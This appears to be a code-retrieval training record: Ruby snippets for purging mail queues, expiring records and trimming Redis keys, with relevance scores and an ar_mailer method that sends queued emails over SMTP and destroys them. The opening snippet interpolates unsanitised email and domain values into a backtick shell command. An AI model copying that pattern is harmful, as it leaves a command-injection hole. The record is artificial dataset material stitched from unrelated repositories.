"def clear_queue\n case @remove\n when 'one'\n puts \"Clearing e-mails #{@search_direction} #{@email}\"\n puts ''\n `exiqgrep -i #{@direction} #{@email} | xargs -P10 -i exim -Mrm '{}' >/dev/null`\n when 'all'\n if @valid_domain\n puts \"Removing all e-mails #{@search_direction} #{@domain}\"\n `exiqgrep -i #{@direction} #{@domain} | xargs -P10 -i exim -Mrm '{}' >/dev/null`\n else\n puts \"#{@domain} is not a valid local domain. Removing e-mails #{@search_direction} #{@email} instead\"\n `exiqgrep -i #{@direction} #{@email} | xargs -P10 -i exim -Mrm '{}' >/dev/null`\n end\n else\n puts \"Didn't remove any emails from the mailque\"\n end\n end",
"def requeue_timed_out_jobs\n # older than x\n jobs.where{started_working_at <= (Time.now - EQ.config.job_timeout)}\\\n .update(started_working_at: nil)\n end",
"def purge_old_requests(seconds = 60)\n @requests.delete_if {|request_time| request_time < Time.now - seconds}\n end",
"def purge_queues\n [incoming_queue_url, outgoing_queue_url].each do |queue_url|\n while true\n messages = client.receive_message(queue_url: queue_url, max_number_of_messages: 10).messages\n break unless messages.first\n messages.each do |message|\n client.delete_message(queue_url: queue_url, receipt_handle: message.receipt_handle)\n end\n end\n end\n end",
"def remove_last_alive_log\n AmqpAuditLog.where(routing_key: '-.-.-.alive.-.-.-.-').order(id: :desc)\n .offset(20).destroy_all\n end",
"def inactive_cleanup\n # Finds referenced micropost from user's map and deletes itself\n user = User.find_by(:id => self.user_id)\n user.current_tasks_map = user.current_tasks_map.delete_if {|h| h[\"micropost id\"] == self.id}\n user.save\n\n # Finds and removes all associated Delayed Jobs still lurking in the system\n garbage_jobs = Delayed::Job.where(:owner_type => \"Micropost\", \n :owner_id => self.id\n )\n garbage_jobs.each do |job|\n job.delete\n end\n end",
"def remove_email (e)\n emails.delete_at e\n end",
"def destroy_older_apps(minutes: TTL_MINUTES, force_refresh: @apps.empty?, on_conflict: :refresh_api_and_continue)\n MUTEX_FILE.flock(File::LOCK_EX)\n\n refresh_app_list if force_refresh\n\n while app = @apps.pop\n age = AppAge.new(created_at: app[\"created_at\"], ttl_minutes: minutes)\n if !age.can_delete?\n @apps.push(app)\n break\n else\n begin\n destroy_with_log(\n id: app[\"id\"],\n name: app[\"name\"],\n reason: \"app age (#{age.in_minutes}m) is older than #{minutes}m\"\n )\n rescue AlreadyDeletedError => e\n if handle_conflict(\n strategy: on_conflict,\n conflict_message: e.message,\n ) == :stop\n break\n end\n end\n end\n end\n ensure\n MUTEX_FILE.flock(File::LOCK_UN)\n end",
"def remove_messages(filter = nil)\n with_queue_control do |control|\n control.remove_messages(filter)\n end\n end",
"def expire_files(expiration_date)\n old_objects = bucket.objects(prefix: @prefix).select do |object|\n object.last_modified <= expiration_date\n end\n\n delete(old_objects)\n\n bucket.multipart_uploads.each do |multipart_upload|\n next if @prefix && !multipart_upload.key.start_with?(@prefix)\n # no need to check multipart uploads initiated before expiration date\n next if multipart_upload.initiated > expiration_date\n\n most_recent_part = multipart_upload.parts.sort_by(&:last_modified).last\n if most_recent_part.nil? || most_recent_part.last_modified <= expiration_date\n abort_multipart_upload(multipart_upload)\n end\n end\n end",
"def prune_old_values(current_time)\n pruning_time = current_time - @time_interval\n @logger.info(\"Pruning time: #{Time.at(pruning_time).to_s}\")\n # iterate over the queue and remove values that are older than 2 minutes\n @queue.delete_if {|ts| ts < pruning_time} \n end",
"def prune_responses_queue\n while !responses_queue.empty?\n message_id = responses_queue.first\n\n if responses[message_id].nil? || Time.now - responses[message_id].timestamp.to_time > 2.minutes\n responses_queue.shift\n responses.delete(message_id)\n else\n break\n end\n end\n end",
"def capture_emails(&block)\n original_count = ActionMailer::Base.deliveries.size\n deliver_enqueued_emails(&block)\n new_count = ActionMailer::Base.deliveries.size\n diff = new_count - original_count\n ActionMailer::Base.deliveries.last(diff)\n end",
"def evict_old_tags(age_gt = 60)\n fresh_tags(age_gt)\n end",
"def remove_expired_rooms!\n @rooms.reject! do |name, room|\n @logger.info \"Removing expired room #{name}.\" if room.expired?\n room.expired?\n end\n end",
"def prune\n if Event.count > 60\n cutoff = Event.limit(60).last.created_at\n Event.where([\"created_at < ?\", cutoff]).delete_all\n end\n end",
"def remove_invalid_emails\n notification_emails.each do |email|\n if !email.valid?\n notification_emails.delete email\n end\n end\n end",
"def trim_queue!(user)\n $redis.ltrim(self.class.redis_key_for_user(user), 0, KEEP_ACTIVITY_ITEMS)\n end",
"def remove_excess_backups\n glob_path = File.join(@new_path, \"#{File.basename(@original_file_path)}*\")\n\n backups = Dir.glob(glob_path).sort_by do |f|\n File.mtime(f)\n end\n\n if @limit > 0\n if backups.length > @limit\n #FileUtils.rm backups[0..(backups.length - (limit + 1))] # Same thing.\n backups[0..(backups.length - (@limit + 1))].each do |extra_file|\n FileUtils.rm extra_file\n end\n end\n end\n end",
"def clean_activity!\n $redis.zremrangebyscore(activity_key, '-inf', Time.now.to_i - 1.minute)\n end",
"def remove_invalid_expirations(exps)\n exps.keep_if(&:in_expiration_interval?)\n end",
"def clean_queue!\n # Go through the song queue from start to end\n queued_songs.each_with_index do |song, index|\n if song['playAt'] + song['duration'] > Time.now.to_i\n # This song is still ok to have, trim of all the ones to the left\n $redis.ltrim(queue_key, index, -1)\n return\n end\n end\n\n # Okay, every song has played already, nuke it\n $redis.del(queue_key)\n end",
"def delete_all_expired_for(time)\n expired_for(time).delete_all\n end",
"def purge()\n time = Time.now\n @data.each do |key, item|\n if item.expiration < time\n @data.delete(key)\n puts \"DELETE #{item.value}\"\n end\n end\n end",
"def delete_expired_jobs\n ref_ids_in_db = Set.new(Listing.where('ref_id IS NOT NULL').pluck(:ref_id))\n ref_ids_in_feed = Set.new(@ref_id_xpath.map(&:text).map(&:to_i))\n Listing.where(ref_id: (ref_ids_in_db - ref_ids_in_feed).to_a).update_all(\"status = 'expired'\")\n end",
"def delete_old_requests\n Request.where('created_at < ?', Time.now - 15.minutes).delete_all\n end",
"def purge_expired_workers\n @services.purge_expired_workers\n end",
"def fRemoveNotificationsFrom (email)\n @users.removeNotificationsFrom(email)\n end",
"def cleanup\n redis.zremrangebyscore(key, '-inf', time - timespan)\n end",
"def process(&after_each_message)\n Mail.all(read_only: false, delete_after_find: true) do |message|\n message.skip_deletion unless process_message(message)\n after_each_message.call(message) if after_each_message\n end\n end",
"def requeue_throttled\n Sidekiq.redis { |conn| conn.lpush(QueueName.expand(queue_name), job) }\n end",
"def cleanup!(redis)\n max_score = Time.now.to_i - @timeout\n expired = redis.zremrangebyscore(key, \"-inf\", max_score)\n expired > 0 ? true : false\n end",
"def trim_logs!(threshold = 1000)\n m = [last_analyzed_log_entry, last_broadcasted_log_entry].min\n l = last_trimmed_log_entry\n entries = []\n\n if m - last_trimmed_log_entry >= threshold\n entries = redis.zrangebyscore(log_key, l, m, :with_scores => true)\n redis.zremrangebyscore(log_key, l, m)\n redis.hset(ident, 'last_trimmed_log_entry', m)\n end\n\n entries\n end",
"def clear_emails\n all_emails.clear\n self.current_emails = nil\n self.current_email = nil\n end",
"def cleanup!(max_len)\n if self.length >= max_len\n self.clear\n end\n end",
"def clean_expired!\n sessions.remove( { :expire => { '$lt' => Time.now } } )\n end",
"def prune_pool\n if Garcon.monotonic_time - @gc_interval >= @last_gc_time\n @pool.delete_if { |worker| worker.dead? }\n # send :stop for each thread over idletime\n @pool.select { |worker| @idletime != 0 &&\n Garcon.monotonic_time - @idletime > worker.last_activity\n }.each { @queue << :stop }\n @last_gc_time = Garcon.monotonic_time\n end\n end",
"def clean(rate_limit_time = nil)\n rate_limit_time ||= Time.now\n\n @bucket.delete_if do |_, limit_hash|\n # Time limit has not run out\n return false if @time_span && rate_limit_time < (limit_hash[:set_time] + @time_span)\n\n # Delay has not run out\n return false if @delay && rate_limit_time < (limit_hash[:last_time] + @delay)\n\n true\n end\n end",
"def pop(*args)\n retval = super\n @mutex.synchronize {\n if @que.length < @max\n begin\n t = @queue_wait.shift\n t.wakeup if t\n rescue ThreadError\n retry\n end\n end\n }\n retval\n end",
"def pop(*args)\n retval = super\n @mutex.synchronize {\n if @que.length < @max\n begin\n t = @queue_wait.shift\n t.wakeup if t\n rescue ThreadError\n retry\n end\n end\n }\n retval\n end",
"def reduce_max_times_if_no_more_registrations\n errors.add(:max_times, 'already has more registrations') if max_times_changed? && max_times < registrations.count && max_times != 0\n end",
"def purge_queue\n Varnisher.log.info 'Purging resources...'\n\n Parallel.map(@urls) do |url|\n Varnisher.log.debug \"Purging #{url}...\"\n\n Varnisher.purge(url.to_s)\n end\n\n Varnisher.log.info 'Done.'\n end",
"def destroy_less_emails_sent_than_defined_in_user_profile?\n notifications_delivered < notifications_for_destroy\n end",
"def remove_email(mail)\n @emails.delete_at (mail)\n end",
"def find_emails\n options = { :conditions => ['last_send_attempt < ?', Time.now.to_i - 300] }\n options[:limit] = batch_size unless batch_size.nil?\n mail = ActionMailer::Base.email_class.find :all, options\n\n log \"found #{mail.length} emails to send\"\n mail\n end",
"def purge_queue(name, options = {})\n subject.queue_purge(name, options)\n end",
"def max_age_seconds(maxAgeSeconds=nil)\n if maxAgeSeconds.class == Fixnum && !block_given?\n @j_del.java_method(:maxAgeSeconds, [Java::int.java_class]).call(maxAgeSeconds)\n return self\n end\n raise ArgumentError, \"Invalid arguments when calling max_age_seconds(maxAgeSeconds)\"\n end",
"def expire_associated(bibl)\n expirable = EXPIRABLE_FIELDS.any? do |key|\n bibl.changed_attributes.include?(key)\n end\n\n if expirable\n ASSOCIATED_CLASSES.each {|ac|\n publish :purge_cache, ActiveSupport::JSON.encode( {:subject_class => bibl.class.name, :subject_id => bibl.id, :associated_class => \"#{ac}\" }) \n }\n end\n\n end",
"def remove_watcher\n email = args.shift\n\n if delete_watcher_from_email(email)\n puts \"Removed #{email} as a watcher\"\n else\n puts \"No watchers with that email found in the watcher list\"\n end\n end",
"def remove_depricated\n self.articles.each do |a|\n unless ((a.created_at + 3.days) > Date.today) \n self.articles.delete(a)\n end\n end\n\tend",
"def cleanJobs\n if Setting.default.keep_jobs.days\n cleaned_jobs = Job.destroy_all([\"start_at <= :c AND (status = 'finished' OR status = 'errored' OR status = 'canceled')\", {:c => Setting.default.keep_jobs.days.ago.localtime}])\n if cleaned_jobs\n Rails.logger.info \"Zackup::Scheduler - #{cleaned_jobs.count} Jobs Finished, Errored, and Canceled Jobs Pruned\"\n end\n end\n end",
"def empty_trash(max_age)\n revision_record_class.empty_trash(self, max_age)\n end",
"def requeue_throttled\n __requeue__(\"LPUSH\")\n end",
"def purge_later\n if attached?\n attachments.each(&:purge_later)\n @attachments = nil\n end\n end",
"def clean_subscriptions\n\t if @subscription = self.subscription\n\t \tunless @subscription.active?\n\t \t recatch_time = ((Time.now - @subscription.deactivated_at) / 1.hour).round\n\t \t if recatch_time > 24 \n\t \t \t@subscription.remove\n\t \t end\n\t \tend\n\t end\n\tend",
"def recent_notifications(lower_limit=10, upper_limit=25)\n if unviewed_notifications.count < lower_limit\n notifications.limit(lower_limit)\n else\n unviewed_notifications.limit(upper_limit)\n end\n end",
"def remove_expired_keys\n self.user_key.each do |user_key|\n if user_key.expired?\n self.remove_user_key(user_key)\n user_key.delete\n end\n end\n end",
"def destroy_if_no_non_spam_email?\n mails.all? { |mail| mail.spam }\n end",
"def clear_expired(request)\n entries_for(request)\n .where {|t| t.created_at < Time.now - ttl }\n .delete\n end",
"def remove_expired_set_members\n client.zremrangebyscore(cache_key, '-inf', \"(#{current_timestamp}\")\n end",
"def expire_files(expiration_date)\n grid_infos = files_collection.find(uploadDate: {\"$lte\" => expiration_date}).to_a\n grid_info_ids = grid_infos.map { |info| info[:_id] }\n\n files_collection.delete_many(_id: {\"$in\" => grid_info_ids})\n chunks_collection.delete_many(files_id: {\"$in\" => grid_info_ids})\n end",
"def remove_deadline_for(generator, time)\n found = false\n deadlines.delete_if do |deadline, _, gen|\n if found\n false\n else\n found = (deadline > time && generator == gen)\n end\n end\n found\n end",
"def cancel_queued_mailing(id)\n delete(\"/mailings/cancel/#{id}\")\n end",
"def remove_from_queue\n Resque.remove_delayed(SchedulerJob, :id => self.id)\n end",
"def flush_error_emails(args = {})\n @error_emails_pending_mutex.synchronize do\n send_time_older_than = Time.new.to_i - @error_emails_time\n \n @error_emails_pending.each do |backtrace_hash, error_email|\n if !args[:ignore_time] and send_time_older_than < error_email[:last_time].to_i and error_email[:messages].length < 1000\n next\n end\n \n @config[:error_report_emails].each do |email|\n next if !email or error_email[:messages].length <= 0\n \n if error_email[:messages].length == 1\n html = error_email[:messages].first\n else\n html = \"<b>First time:</b> #{Datet.in(error_email[:first_time]).out}<br />\"\n html << \"<b>Last time:</b> #{Datet.in(error_email[:last_time]).out}<br />\"\n html << \"<b>Number of errors:</b> #{error_email[:messages].length}<br />\"\n count = 0\n \n error_email[:messages].each do |error_msg|\n count += 1\n \n if count > 10\n html << \"<br /><br /><b><i>Limiting to showing 10 out of #{error_email[:messages].length} messages.</i></b>\"\n break\n end\n \n html << \"<br /><br />\"\n html << \"<b>Message #{count}</b><br />\"\n html << error_msg\n end\n end\n \n self.mail(\n :to => email,\n :subject => error_email[:subject],\n :html => html,\n :from => @config[:error_report_from]\n )\n end\n \n @error_emails_pending.delete(backtrace_hash)\n end\n end\n end",
"def remove_expired_nodes(node_expire_timeout)\n node_array = get_data.fetch_all_objects(:node)\n node_array.each { |node|\n next if node_status(node) == \"bound\"\n elapsed_time = Time.now.to_i - node.timestamp.to_i\n if elapsed_time > node_expire_timeout\n node_uuid = node.uuid\n if get_data.delete_object(node)\n logger.info \"expired node '#{node_uuid}' successfully removed from db\"\n else\n logger.info \"expired node '#{node_uuid}' could not be removed from db\"\n end\n end\n }\n end",
"def stop_timeout\n @expire_time = nil\n end",
"def checkPool(tmsg)\n\ttimeoutMsgs = Array.new\n\tret = tmsg.to_i\n\ti = 0\n\tindex = 0\n\twhile (i < (@msgPool.length))\n\t if ( (ret - (@msgPool[i].gettimetag)) > CM_ACK_TIMEOUT )\n #debug(\"the current time = \", ret)\n\t #debug(\"the message pool time = \", @msgPool[i].gettimetag)\n\t timeoutMsgs[index] = @msgPool.at(i)\n\t @msgPool.delete_at(i)\n\t @msgPool.compact!\n\t index = index + 1\n\t end\n\t i = i + 1\n\tend\n return timeoutMsgs \n end",
"def expire\n touch :expires_at\n\n user.subscriptions.facebook.each do |subscription|\n subscription.deactivate\n end\n\n UserMailer.access_token_expired_email(user).deliver\n end",
"def delete_messages uids, expunge = true\n log \"DELETING [...#{uids.size} uids]\"\n imap.store uids, '+FLAGS.SILENT', [:Deleted]\n if expunge then\n log \"EXPUNGE\"\n imap.expunge\n end\n end",
"def perform\n inactive_users = User.inactive_for_more_than(2.days)\n inactive_users.destroy_all\n end",
"def cleanup\n @keys.each { |key, time|\n if expired_kalive?(key, 300)\n delete_key(key)\n end\n\n if expired_unlocked?(key, 60)\n unblock_key(key)\n end\n }\n \n end",
"def clear_emails\n ActionMailer::Base.deliveries = []\n end",
"def expire_kept\n new_kept_data = kept.reject do |kept_data|\n parsed = Hanami::Utils::Json.parse(kept_data)\n parsed['count'] >= 2 if is_hash?(parsed) && parsed['count'].is_a?(Integer)\n end\n\n update_kept(new_kept_data)\n end",
"def get_email_text(search_array, timeout=600, delete=true, since_sec=3600)\n # Only look for emails that have come in since the last hour\n since = Time.now - since_sec\n imap_search_terms = search_array.dup.push(\"SINCE\", since.strftime('%d-%b-%Y'))\n @log.debug(\"Searching for email with query: #{imap_search_terms}\")\n\n super imap_search_terms, timeout, delete, since_sec\n end",
"def expire_tags(*params)\n taggable.get(*params).each do |m|\n self.delete(m)\n end\n end",
"def dequeue(limit = 30)\n return [] if limit == 0\n\n opts = { :i => 0, :limit => limit}\n [].tap do |items|\n dequeue_entries!(items, opts)\n dequeue_later!(items, opts)\n end\n end",
"def unprocessed_jobs\n @redis.lrange(key_queue_unprocessed, 0, -1)\n end",
"def prune_deployments\n gear_env = ::OpenShift::Runtime::Utils::Environ.for_gear(@container_dir)\n to_keep = deployments_to_keep(gear_env)\n deleted = 0\n\n deployments = all_deployments\n\n # short-circuit - don't do anything if we're under the limit\n count = deployments.count\n return if count <= to_keep\n\n # remove so we stay under to_keep\n all = all_deployments_by_activation(deployments)\n\n # this is the activation time of the most recent deployment to be deleted\n activation_cutoff = nil\n\n all.each do |d|\n # stop if the remaining # of deployments is <= to_keep\n break if count <= to_keep\n\n deployment_datetime = File.basename(d)\n\n activation_cutoff = deployment_metadata_for(deployment_datetime).activations.last\n\n delete_deployment(deployment_datetime)\n\n # update remaining # of deployments\n count -= 1\n end\n\n delete_activations_before(activation_cutoff) unless activation_cutoff.nil?\n end",
"def removePool(msg)\n\ti = 0\n found = false\n while( i < @msgPool.length )\n pmsg = MsgPacket.new\n pmsg = @msgPool[i]\n if ( (pmsg.ipaddr == msg.ipaddr) && \n (pmsg.cmd == msg.cmd) && (pmsg.gettimetag <= msg.gettimetag) )\n found = true\n break\n end\n i = i + 1\n end \n\tif ((found == true) && (i < @msgPool.length))\n\t @msgPool.delete_at(i)\n\t @msgPool.compact!\n\tend\n end",
"def evict\n # Returns if an evict is not needed of if there is no upcoming evict\n return if Time.now.to_i < @next_evict rescue false\n\n @mutex.synchronize do\n @data.each do |k, v|\n unless v[:exptime] == 0\n\n # If the exptime of the current time is before now it has to be\n # deleted\n if v[:exptime] <= Time.now.to_i\n delete(k)\n\n update_next_evict(v[:exptime])\n end\n\n end\n end\n end\n end",
"def limit_amazon_bucket\n if !self.is_master\n while Build.where(:is_master => [nil, false]).count > 30\n @exclude_build = Build.where(:is_master => [nil, false]).first\n @file = @exclude_build.file_object\n\n @file.destroy\n @exclude_build.destroy\n end\n end\n end",
"def requeue_job(job, max_requeues)\n return false if max_requeues.zero?\n\n @redis.eval(\n REQUEUE_JOB,\n keys: [key_queue_unprocessed, key_requeues],\n argv: [job, max_requeues]\n )\n end",
"def check_for_big_messages\n if message_size > user_thread.options[:max_email_size]\n Log.librato(:count, \"system.process_uid.big_message\", 1)\n user_thread.update_user(:last_uid => uid)\n return false\n else\n return true\n end\n end",
"def delete_all\n start do |pop3|\n unless pop3.mails.empty?\n pop3.delete_all\n pop3.finish\n end\n end\n end",
"def clear_outdated\n redis.zremrangebyscore(REDIS_KEY, 0, score_limit)\n end",
"def cleanup_expired_events\n cleanup_script(keys: @event_list.key, argv: expires_at)\n end",
"def remove\n recipient_list_members.destroy_all\n if message_recipients.count.zero?\n destroy\n else\n self.removed = true\n save!\n end\n end",
"def clean_for_period(future_period, notification_times)\n future_period.notifications.all.each do |existing_notification|\n unless notification_times.include?(existing_notification.time.utc)\n existing_notification.delete\n end\n end\n end",
"def remove_from_allowed_list(email)\n send_contact_command email, 'RML', '2'\n end",
"def remove(email)\n @mailing_list.remove_contacts(email, force:true)\n end"
] |
[
"0.63043463",
"0.6104571",
"0.60924995",
"0.59141535",
"0.58153975",
"0.5702343",
"0.5679355",
"0.56576204",
"0.56454504",
"0.55729336",
"0.5532184",
"0.5510853",
"0.54192036",
"0.53731483",
"0.53593457",
"0.52464926",
"0.52125144",
"0.5202066",
"0.5199674",
"0.51825273",
"0.5158886",
"0.5142108",
"0.51305604",
"0.5087671",
"0.50682074",
"0.5032675",
"0.5028101",
"0.4971977",
"0.4963672",
"0.49611714",
"0.49560982",
"0.49422163",
"0.4940652",
"0.49247953",
"0.4908509",
"0.48812258",
"0.48766807",
"0.48695096",
"0.4862422",
"0.4850103",
"0.4846931",
"0.4845275",
"0.48425242",
"0.48420244",
"0.48417315",
"0.48375276",
"0.48307705",
"0.48207536",
"0.48207536",
"0.48192963",
"0.48043886",
"0.47967076",
"0.4781363",
"0.47785482",
"0.47778645",
"0.47771037",
"0.47768503",
"0.4776727",
"0.47700536",
"0.4757903",
"0.47534442",
"0.47448218",
"0.47419852",
"0.47392324",
"0.4728506",
"0.47282702",
"0.47256756",
"0.47252262",
"0.47216454",
"0.47179395",
"0.47122717",
"0.47091237",
"0.47088075",
"0.4703655",
"0.47030914",
"0.46899703",
"0.4689153",
"0.4675498",
"0.46609733",
"0.46588337",
"0.4657042",
"0.4652613",
"0.4652258",
"0.4650208",
"0.46497145",
"0.46443096",
"0.46376637",
"0.4636234",
"0.46342695",
"0.46253887",
"0.4620714",
"0.4619187",
"0.4617405",
"0.46102116",
"0.46101785",
"0.4604856",
"0.45977175",
"0.4597005",
"0.4593659",
"0.45927492"
] |
0.7539608
|
0
|
Delivers +emails+ to ActionMailer's SMTP server and destroys them.
|
def deliver(emails)
settings = [
smtp_settings[:domain],
(smtp_settings[:user] || smtp_settings[:user_name]),
smtp_settings[:password],
smtp_settings[:authentication]
]
smtp = Net::SMTP.new(smtp_settings[:address], smtp_settings[:port])
if smtp.respond_to?(:enable_starttls_auto)
smtp.enable_starttls_auto unless smtp_settings[:tls] == false
else
settings << smtp_settings[:tls]
end
smtp.start(*settings) do |session|
@failed_auth_count = 0
until emails.empty? do
email = emails.shift
begin
res = session.send_message email.mail, email.from, email.to
email.destroy
log "sent email %011d from %s to %s: %p" %
[email.id, email.from, email.to, res]
rescue Net::SMTPFatalError => e
log "5xx error sending email %d, removing from queue: %p(%s):\n\t%s" %
[email.id, e.message, e.class, e.backtrace.join("\n\t")]
email.destroy
session.reset
rescue Net::SMTPServerBusy => e
log "server too busy, stopping delivery cycle"
return
rescue Net::SMTPUnknownError, Net::SMTPSyntaxError, TimeoutError, Timeout::Error => e
email.last_send_attempt = Time.now.to_i
email.save rescue nil
log "error sending email %d: %p(%s):\n\t%s" %
[email.id, e.message, e.class, e.backtrace.join("\n\t")]
session.reset
end
end
end
rescue Net::SMTPAuthenticationError => e
@failed_auth_count += 1
if @failed_auth_count >= MAX_AUTH_FAILURES then
log "authentication error, giving up: #{e.message}"
raise e
else
log "authentication error, retrying: #{e.message}"
end
sleep delay
rescue Net::SMTPServerBusy, SystemCallError, OpenSSL::SSL::SSLError
# ignore SMTPServerBusy/EPIPE/ECONNRESET from Net::SMTP.start's ensure
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def clear_emails\n ActionMailer::Base.deliveries = []\n end",
"def send_emails\n mail = build_mail\n get_recipients do |recipient|\n unless EmailResponse.exists?(email: recipient.email) # bounces & complaints\n mail.to = recipient.email\n replace_and_send_mail_safely(mail, recipient)\n end\n end\n end",
"def teardown\n ActionMailer::Base.deliveries.clear\n end",
"def clear_emails\n all_emails.clear\n self.current_emails = nil\n self.current_email = nil\n end",
"def cleanup\n return if @max_age == 0\n timeout = Time.now - @max_age\n conditions = ['last_send_attempt > 0 and created_on < ?', timeout]\n mail = ActionMailer::Base.email_class.destroy_all conditions\n\n log \"expired #{mail.length} emails from the queue\"\n end",
"def destroy_email\n Person.where.not(id: self.id).each do |recipient|\n Resque.enqueue(PersonDestroyed, self.full_name, recipient.id)\n end\n end",
"def emails\n ActionMailer::Base.cached_deliveries\n end",
"def deliver!(mail)\n attributes = email_attributes(mail)\n mail.destinations.each do |destination|\n ArMailerRevised.email_class.create!(attributes.merge({:to => destination}))\n end\n end",
"def destroy\n remove_email_dependencies\n @email.destroy\n respond_to do |format|\n format.html { redirect_to emails_url, notice: 'Email was destroyed.' }\n format.json { head :no_content }\n end\n end",
"def run\n install_signal_handlers\n\n loop do\n begin\n cleanup\n emails = find_emails\n deliver(emails) unless emails.empty?\n rescue ActiveRecord::Transactions::TransactionError\n end\n break if @once\n sleep @delay\n end\n end",
"def destroy\n UserMailer.destroy\n end",
"def save_emails\r\n @log.debug \"There are #{@saved_mail.size} saved emails\"\r\n @saved_mail.each do |em|\r\n SavedMail.create(\r\n :body => em.to_s\r\n )\r\n end\r\n @log.debug \"Mails saved\"\r\n end",
"def send_emails(contacts)\n @valid_emails = contacts.select { |e| e =~ Devise.email_regexp }\n @bad_emails = contacts - @valid_emails\n current_user.increase_invites_count!(@valid_emails.count)\n @valid_emails.each do |email|\n EmailInvite.transaction do\n invite = EmailInvite.create(:from_user_id => current_user.id, :email => email)\n InviteEmail.invite(email, params[:message], current_user, invite.token).deliver\n end\n end\n end",
"def committee(email, recipients)\n @body = email.body\n mail to: recipients, subject: email.subject\n end",
"def send_email_alert(sender_email, sender_pass, recipients, subject, body)\n log \"Sending e-mail alert.\"\n recipients.each do |r|\n Pony.mail(:to => r, :via => :smtp, :via_options => {\n :address => 'smtp.gmail.com',\n :port => '587',\n :enable_starttls_auto => true,\n :user_name => sender_email,\n :password => sender_pass,\n :authentication => :plain,\n :domain => \"HELO\",\n }, :subject => subject, :body => body)\n end\nend",
"def create\n # Check that there is at least something entered in the recipients and body field\n if mail_params[:recipients].blank? || mail_params[:body].blank?\n flash[:error] = \"Either recipients or body missing. Retry.\"\n redirect_to '/'\n return\n end\n\n # Loop through the recipients list breaking on every ',' character (Strips whitespace first)\n mail_params[:recipients].strip.split(\",\").each do |recipient|\n DemoMailer.send_email(recipient, mail_params[:body]).deliver_later\n end\n\n flash[:success] = \"Emails Sent.\"\n redirect_to '/'\n end",
"def batch_unsubscribe(emails=[])\n # Do this using a batch call to the MailChimp API for performance rather than lots of single API calls.\n api.batch_unsubscribe({\n \t:id => @campaignable_list_id,\n :batch => emails.map {|email| {:email => { :email => email }} }, # Map all users in the system into a mailchimp collcation.\n :send_goodbye => false, # Don't send a goodbye email.\n :send_notify => false # Don't notify the user of the unsubscription. \n })\n end",
"def send_emails\n self.attendees.distinct.each do |attendee|\n UpdatesMailer.updates_mail(attendee, self).deliver_now\n end\n end",
"def deliver_mail\n @invitation.deliver_mail\n track 'Invitation Deliver Mail', @invitation\n redirect_to account_invitations_path, notice: 'Invitation email has been sent.'\n end",
"def receive_emails_pop\n self.config_emails.each do |config_email|\n case (config_email.server_email)\n when 'pop.gmail.com'\n Net::POP3.enable_ssl(OpenSSL::SSL::VERIFY_NONE)\n else\n \"\"\n end\n Net::POP3.start(config_email.server_email, config_email.port, config_email.username, ConfigEmail.decryption(config_email.password_encrypted)) do |pop|\n if pop.mails.empty?\n puts 'No mails.'\n else\n pop.each_mail do |mail|\n UserMailer.current_vendor_config_email(config_email)\n UserMailer.receive(mail.pop)\n mail.delete\n end\n pop.finish\n end\n end\n end\n end",
"def free_email(*args, **_arg1, &block); end",
"def destroy\n set_email.destroy\n flash[:notice] = \"Email Deleted!\"\n redirect_to user_emails_path(current_user.id)\n end",
"def send!(recipients)\n sending_method = autodetect_sending_method(recipients)\n self.__send__(sending_method, recipients)\n end",
"def deliver!(mail)\n # check validity\n check_delivery_params(mail)\n validate!(mail)\n\n create_factory()\n\n persist_email(mail)\n\n chain_delivery(mail)\n end",
"def mail_flush\n @mails_mutex.synchronize do\n self.log_puts(\"Flushing mails.\") if @debug\n \n if @mails_waiting.empty?\n self.log_puts(\"No mails to flush - skipping.\") if @debug\n return false\n end\n \n self.log_puts(\"Trying to ping Google to figure out if we are online...\") if @debug\n status = Ping.pingecho(\"google.dk\", 10, 80)\n if !status\n self.log_puts(\"We are not online - skipping mail flush.\")\n return false #Dont run if we dont have a connection to the internet and then properly dont have a connection to the SMTP as well.\n end\n \n #Use subprocessing to avoid the mail-framework (activesupport and so on, also possible memory leaks in those large frameworks).\n self.log_puts(\"Starting subprocess for mailing.\") if @debug\n require \"ruby_process\"\n ::Ruby_process::Cproxy.run do |data|\n subproc = data[:subproc]\n subproc.static(:Object, :require, \"rubygems\")\n subproc.static(:Object, :require, \"mail\")\n subproc.static(:Object, :require, \"#{Knj.knjrbfw_path}/../knjrbfw.rb\")\n \n self.log_puts(\"Flushing emails.\") if @debug\n @mails_waiting.each do |mail|\n begin\n self.log_puts(\"Sending email: #{mail.__id__}\") if @debug\n if mail.send(:proc => subproc)\n self.log_puts(\"Email sent: #{mail.__id__}\") if @debug\n @mails_waiting.delete(mail)\n end\n rescue Timeout::Error\n #ignore - \n rescue => e\n @mails_waiting.delete(mail)\n self.handle_error(e, :email => false)\n end\n \n sleep 1 #sleep so we dont take up too much bandwidth.\n end\n end\n \n return nil\n end\n end",
"def send_feedback_reminders_emails\n # Send the emails\n feedback_reminders.each do |fr|\n fr.send_feedback_reminder_email\n end\n\n # Shift the send_feedback_reminders_after date of\n # FEEDBACK_REMINDERS_INTERVAL seconds in the future\n self.send_feedback_reminders_after =\n Time.zone.today + FEEDBACK_REMINDERS_INTERVAL\n\n # Increment feedback_reminders_count\n self.feedback_reminders_count += 1\n\n # save the connection\n save\n end",
"def perform\n current_time = Time.now\n packages = find_packages(city_db_id)\n emails = find_emails(city_db_id)\n\n ## Create list of recipients as array of strings\n recipients = []\n emails.each do |email|\n recipients << email.email_value\n end\n\n Emailer.packages_notification(current_time,packages,recipients).deliver\n end",
"def capture_emails(&block)\n original_count = ActionMailer::Base.deliveries.size\n deliver_enqueued_emails(&block)\n new_count = ActionMailer::Base.deliveries.size\n diff = new_count - original_count\n ActionMailer::Base.deliveries.last(diff)\n end",
"def remove_email (e)\n emails.delete_at e\n end",
"def deliver!(mail)\n delivery_method.deliver!(mail)\n end",
"def deliver!(unsanitary = false)\n sent = []\n error = []\n \n update_attributes(:delivery_started_at => Time.now.utc) unless delivery_started_at\n \n if unsanitary\n SanitizeEmail.unsanitary { process_delivery }\n else\n process_delivery\n end\n \n update_attributes(:queued => false, :delivered => true, :delivery_finished_at => Time.now.utc)\n end",
"def destroy\n @bulk_mail.destroy\n # 削除時にログも削除されるため、ログには何も書かない。\n redirect_to bulk_mails_url, notice: t_success_action(BulkMail, :destroy)\n end",
"def remove_invalid_emails\n notification_emails.each do |email|\n if !email.valid?\n notification_emails.delete email\n end\n end\n end",
